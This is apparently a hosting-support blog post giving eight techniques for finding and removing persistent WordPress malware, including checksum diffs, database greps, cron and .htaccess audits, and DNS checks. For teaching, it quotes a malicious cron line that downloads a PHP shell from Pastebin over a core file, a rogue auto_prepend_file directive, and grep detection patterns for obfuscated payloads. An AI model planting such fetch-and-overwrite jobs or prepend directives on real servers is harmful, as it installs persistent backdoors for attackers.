Skip to content
Back to Blog
Security10 min read

Advanced Remove Malware WordPress: 8 Moves That Work

Most cleanup guides stop at scanning plugins. Here are eight deep techniques—file integrity checks, database payload hunts, and backdoor traps—that catch what automated tools miss.

Written by Abdul AbrorTechnical Hosting Support Engineer
Advanced Remove Malware WordPress: 8 Moves That Work
On this page

You ran Wordfence, quarantined three plugins, changed passwords, and the site still serves spam pages to Googlebot. Or the scanner says you're clean but CPU spikes every few hours and you're seeing outbound connections to Romanian IPs.

Most malware removal guides stop at the plugin scanner and a password reset. That works for script-kiddie infections dropped by a known vulnerable plugin. It doesn't work when the attacker used that plugin as the entry point, then installed four additional backdoors in theme files, a cron job that re-downloads the payload, and a database trigger that injects JavaScript into every post.

These eight techniques catch what automated tools miss. I'm assuming you already scanned with Wordfence or Sucuri, already changed credentials, already checked file permissions. This is the next layer.

1. Diff your core and plugin files against clean checksums

WordPress core and most reputable plugins ship with checksums. A file integrity check compares the SHA hash of every file on disk against the official repository version.

WP-CLI makes this fast:

wp core verify-checksums
wp plugin verify-checksums --all

Any file that doesn't match gets flagged. In support tickets I handled, the usual culprit was a single line appended to wp-includes/class-wp-widget.php or a base64 blob inside wp-config.php. The scanner didn't catch it because the file was a core file and the payload was obfuscated.

For themes, checksum verification only works if the theme is hosted in the WordPress.org repository. Most premium themes aren't. You'll need to diff manually against a clean copy downloaded from the vendor. Use diff -r or a GUI tool like Meld.

False positives happen. If you customized a core file (bad practice, but people do it), the diff will scream. Cross-check the flagged line. If it's base64, hex, or eval() that you didn't write, delete the file and replace it from a fresh WordPress archive.

2. Grep the database for obfuscated payloads

File scanners check the filesystem. Most of them don't check the database thoroughly, and attackers know it.

Common hiding spots: - The wp_options table, especially auto-loaded options that run on every page load - The wp_posts table in post_content or post_excerpt fields, usually as HTML comments - The wp_postmeta table in serialized arrays - Any custom plugin table

Dump the database and grep for these patterns:

mysqldump -u user -p database_name > dump.sql
grep -i "eval(" dump.sql
grep -i "base64_decode" dump.sql
grep -i "gzinflate" dump.sql
grep -i "assert(" dump.sql
grep -i "preg_replace.*\/e" dump.sql
grep -i "eval(base64" dump.sql
grep -i "<iframe" dump.sql
grep -i "<script" dump.sql | grep -v "wp-includes"

Pay attention to eval(base64_decode(...)) inside option values or post content. Often it's wrapped in HTML comments so it doesn't render to the visitor but still executes on the server when the option is loaded.

I've seen JavaScript injected into the widget_text option, which meant every sidebar widget echoed the payload. Wordfence didn't flag it because it was stored data, not a file.

If you find a match, note the table and row ID. Open the database in phpMyAdmin or Adminer and inspect the actual content. If it's malicious, update the row or delete it. If it's in a serialized array, be careful: changing the string length without updating the serialization markers will break the entire option.

After cleaning, run wp cache flush to clear object cache.

3. Hunt for PHP files in upload directories

The wp-content/uploads/ directory should only contain media: images, PDFs, maybe some CSS or JS if a plugin caches assets there. It should never contain .php files.

Attackers upload web shells disguised as image files, then rename them or call them directly. Often they're nested several folders deep to avoid casual inspection.

Find every PHP file in uploads:

find wp-content/uploads/ -type f -name "*.php"

If the command returns anything, inspect it. Legitimate plugins occasionally write a PHP file to uploads (some caching plugins do this), but it's rare. Most of the time it's a shell.

I once found a file named wp-content/uploads/2023/08/image.jpg.php. The file listed itself as an image in the Media Library but executed code when accessed directly. Deleting it from the filesystem didn't remove the Media Library entry, so you also need to clean the wp_posts table where post_type = 'attachment' and guid contains the filename.

Block execution in uploads with an .htaccess rule:

<FilesMatch "\.(php|phtml|php3|php4|php5|pl|py|jsp|asp|sh|cgi)$">
  Require all denied
</FilesMatch>

Place that inside wp-content/uploads/.htaccess. Some hosts ship this by default; most don't.

4. Check for rogue cron jobs

Linux cron jobs run outside the WordPress admin and won't show up in any plugin list. Attackers use them to re-download malware after you've cleaned the site.

List cron jobs for the site's user:

crontab -l

If you're on shared hosting and don't have shell access, check cPanel under "Cron Jobs."

Look for: - Any job that runs curl, wget, or fetch to an external domain - Any job that writes to a file in your web root - Any job you didn't create

I've seen cron entries that pulled a PHP shell from Pastebin every hour. The entry looked like this:

0 * * * * curl -s https://pastebin.com/raw/abc123 > /home/user/public_html/wp-includes/version.php

The file version.php already exists in wp-includes, so overwriting it didn't raise immediate flags. But the legitimate file is about 50 lines. The malicious version was 800 lines of obfuscated code.

Delete any suspicious cron job:

crontab -e

Remove the line, save, exit.

Also check WordPress's internal cron system. List scheduled events:

wp cron event list

Look for hooks you don't recognize. If you see something like check_plugin_updates_hourly and you've never heard of it, inspect the callback. If it's a function in a file that doesn't exist or a file you already quarantined, delete the event:

wp cron event delete check_plugin_updates_hourly

5. Audit PHP includes and auto_prepend_file directives

Attackers sometimes inject malware at the PHP interpreter level using auto_prepend_file or auto_append_file in .htaccess or php.ini. These directives tell PHP to execute a file before or after every script on your site.

Check .htaccess in your web root:

grep -i "auto_prepend_file" .htaccess
grep -i "auto_append_file" .htaccess

If you find a line like this:

php_value auto_prepend_file /home/user/public_html/wp-includes/ID.php

And you didn't put it there, it's malware. The file ID.php (capitalized, unusual) probably contains a backdoor. Delete the line from .htaccess and delete the file.

On VPS or dedicated servers, check your loaded php.ini:

php -i | grep "auto_prepend_file"

If it points to a file outside your web root or to a file you don't recognize, investigate.

6. Inspect recently modified files with a tight time window

You know when the site started acting weird. List every file modified in that window.

Find files modified in the last 7 days:

find . -type f -mtime -7 -ls

Adjust -mtime -7 to match your infection window. The output will be long. Pipe it to a file:

find . -type f -mtime -7 -ls > recent_changes.txt

Open the file and look for: - Core WordPress files with recent timestamps (you didn't update WordPress that day) - Files in wp-admin or wp-includes that aren't part of a legitimate update - New files in the theme directory with generic names like functions-alt.php or header-old.php - Files with all-numeric names or single-letter names like 1.php or x.php

I once tracked an infection to a file called wp-content/themes/twentytwentyone/inc/core.php. The theme has an inc/ folder, so it didn't look immediately suspicious. But the legitimate theme doesn't have a core.php in that folder. The attacker bet on that ambiguity.

Cross-check the file list against a clean WordPress install and a clean copy of your theme. Anything that doesn't belong gets deleted.

7. Trap eval() and assert() calls in a staging environment

If you still can't find the payload, it might be executing only under specific conditions: a certain user-agent, a certain IP range, or a certain POST parameter.

Set up a local or staging copy of the site (not production). Edit wp-config.php and add this at the top, right after the opening <?php:

ini_set('display_errors', 1);
error_reporting(E_ALL);

function trap_eval($code) {
    error_log("EVAL CALLED: " . $code);
    debug_print_backtrace();
    die("Eval trapped. Check error log.");
}

set_error_handler(function($errno, $errstr, $errfile, $errline) {
    if (strpos($errstr, 'eval()') !== false) {
        error_log("Eval detected in $errfile:$errline");
        debug_print_backtrace();
    }
    return false;
});

This won't catch all obfuscated eval calls, but it logs any eval that runs. Browse the site, log in, trigger admin actions, and check your error log. If you see a backtrace pointing to a theme file or a plugin you didn't recognize, you found your payload.

Another trick: rename the eval function temporarily. PHP doesn't let you do this directly, but you can disable eval with Suhosin or similar hardening extensions. On a staging environment with CLI access:

php -d disable_functions=eval,assert script.php

If the site breaks, the error message will tell you which file tried to call eval.

This technique is aggressive. Don't run it on production.

8. Check for DNS-level redirects and server-side proxies

Sometimes the infection isn't on your server at all. If your DNS is compromised or your hosting account has an invisible proxy rule, traffic gets redirected before it hits your WordPress files.

Verify your A record:

dig +short example.com

Compare the returned IP to your server's actual IP. If they don't match, log into your DNS provider and check for unauthorized changes. I've seen attackers add a CNAME for www that pointed to a phishing site while leaving the root domain intact.

Check your cPanel or hosting panel for proxy rules, redirects, or parked domains you didn't create. In cPanel, look under "Redirects" and "Subdomains." Some panels let you set up reverse proxies; attackers use this to serve malicious content under your domain without touching your files.

If you're on a VPS, check your web server config:

grep -r "proxy_pass\|ProxyPass" /etc/nginx/ /etc/apache2/

Any proxy directive you didn't write is suspect.

Also check your SSL certificate issuer. If you're using Let's Encrypt but suddenly see a certificate from a different authority, someone might have re-issued your cert after hijacking DNS. Revoke the rogue cert and re-issue from your legitimate provider.

What to check first

You've cleaned the files, purged the database, deleted the cron jobs, and the site still redirects or spams. Start here:

  • Is your local machine infected? Scan your computer. FTP credentials stored in FileZilla have been stolen by keyloggers.
  • Are your DNS nameservers correct? Log into your domain registrar and verify.
  • Is your hosting account itself compromised? Change your cPanel or hosting panel password, enable two-factor authentication, and regenerate API keys.
  • Did you restore from a backup that was already infected? Go back further.

Malware removal is archaeology. You're tracing the attacker's steps backward. Each technique here is a layer. The more layers you check, the less room the payload has to hide.

FAQ

How do I know if the malware is completely gone?
Monitor your server logs and outbound connections for a week. Use netstat -tnp or your hosting panel's resource monitor. If you see no unusual traffic and no reinfection, you're likely clean. Re-scan with multiple tools (Wordfence, Sucuri, CXScan if on cPanel).

Should I reinstall WordPress from scratch?
If the infection is severe and you can't pinpoint the payload, yes. Export your database, download your uploads folder, wipe the hosting account, and reinstall. Import only the content (posts, pages, users), not the options or widgets. Reinstall themes and plugins from official sources.

Can I clean the database with a plugin?
Some plugins like WP-Optimize or WP-DBManager can remove spam comments and revisions, but they won't catch injected JavaScript in post content. Manual SQL queries or regex replacements are more reliable for database malware.

What's the fastest way to stop the immediate damage?
Put the site in maintenance mode, block all traffic except your IP, or take the site offline entirely while you clean. In cPanel, you can password-protect the directory under "Directory Privacy." This buys you time without leaving the infection live.

Lock the doors after

Once the site is clean, harden it. Disable file editing in the admin, move wp-config.php one directory above the web root, enforce strong passwords with a plugin like Password Policy Manager, set up a Web Application Firewall at the DNS level (Cloudflare or Sucuri), and enable automatic updates for minor releases and plugins.

Keep a clean backup in an off-server location that's not accessible from the hosting account. If your server is compromised again, the attacker can delete your local backups too.

You can't prevent every attack, but you can make reinfection harder than the attacker's patience threshold.